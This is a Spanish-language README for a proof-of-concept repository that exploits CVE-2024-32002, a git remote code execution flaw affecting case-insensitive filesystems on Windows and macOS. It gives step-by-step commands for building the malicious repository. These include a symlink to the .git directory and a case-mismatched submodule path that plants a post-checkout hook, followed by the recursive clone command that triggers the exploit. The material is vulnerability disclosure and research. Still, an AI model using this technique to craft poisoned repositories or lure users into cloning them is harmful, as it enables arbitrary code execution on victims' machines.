CVE-2024-32002 RCE POC
Un POC para CVE-2024-32002 que demuestra Ejecución Remota de Código (RCE).
Vea cve-2024-32002-poc-rce para el repositorio de submódulos relacionado.
Lo que contiene este repositorio
- Un enlace simbólico con un nombre arbitrario que enlaza al directorio
.git.
- Un archivo
.gitmodules que define el submódulo malicioso.
Cómo recrear este repositorio
Este repositorio se creó en Linux (WSL2, para ser específico). Esto es importante, el repositorio malicioso solo puede crearse en un sistema de archivos que distinga entre mayúsculas y minúsculas.
- Cree un enlace simbólico, usando todos los caracteres en minúscula
ln -s .git submodule
Notas:
- El enlace simbólico debe apuntar a la carpeta .git, ya que ahí es donde queremos escribir archivos
- El nombre del enlace simbólico (submodule) es arbitrario, pero debe comenzar con un carácter en minúscula
- Esto es importante, porque los caracteres en minúscula se ordenan antes que los caracteres en mayúscula. Cuando la máquina que clona se confunda sobre dónde escribir los archivos del submódulo, queremos que elija el enlace simbólico y no un directorio normal.
- Agregue el submódulo malicioso, notando la diferencia de mayúsculas/minúsculas en el nombre del directorio del submódulo
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce
Notas:
- El nombre del submódulo ("rce/notexists") es importante, entrará en juego al colocar nuestro hook en el submódulo.
- "rce" debe coincidir con el último segmento de la ruta del Submódulo.
- "notexists" debe coincidir con el nombre del directorio que contiene hooks/post-checkout en el directorio del submódulo. Vea cve-2024-32002-poc-rce.
- La estructura de la ruta del submódulo ("Submodule/modules/rce") también es importante:
- El primer segmento de la ruta del submódulo ("Submodule") debe coincidir con el nombre del enlace simbólico anterior, solo diferenciándose en mayúsculas/minúsculas.
- El segundo segmento ("modules") coincide con el nombre de la ruta dentro del directorio
.git que rastrea el estado de git para los submódulos.
- El tercer segmento ("rce") debe coincidir con el primer segmento del nombre del submódulo anterior.
Cómo ejecutar el POC
Esta vulnerabilidad solo afecta a Windows y MacOS porque ambos tienen sistemas de archivos que no distinguen entre mayúsculas y minúsculas.
- Verifique si tiene una versión vulnerable de git. Consulte el aviso de GitHub para conocer las versiones afectadas.
git --version
- Piense si realmente desea ejecutar un comando que podría lograr RCE... Este repositorio es benigno, pero ¿está seguro?
- Ejecute el siguiente comando:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git
- Si el POC funcionó, ¡debería poder hacer algunos cálculos!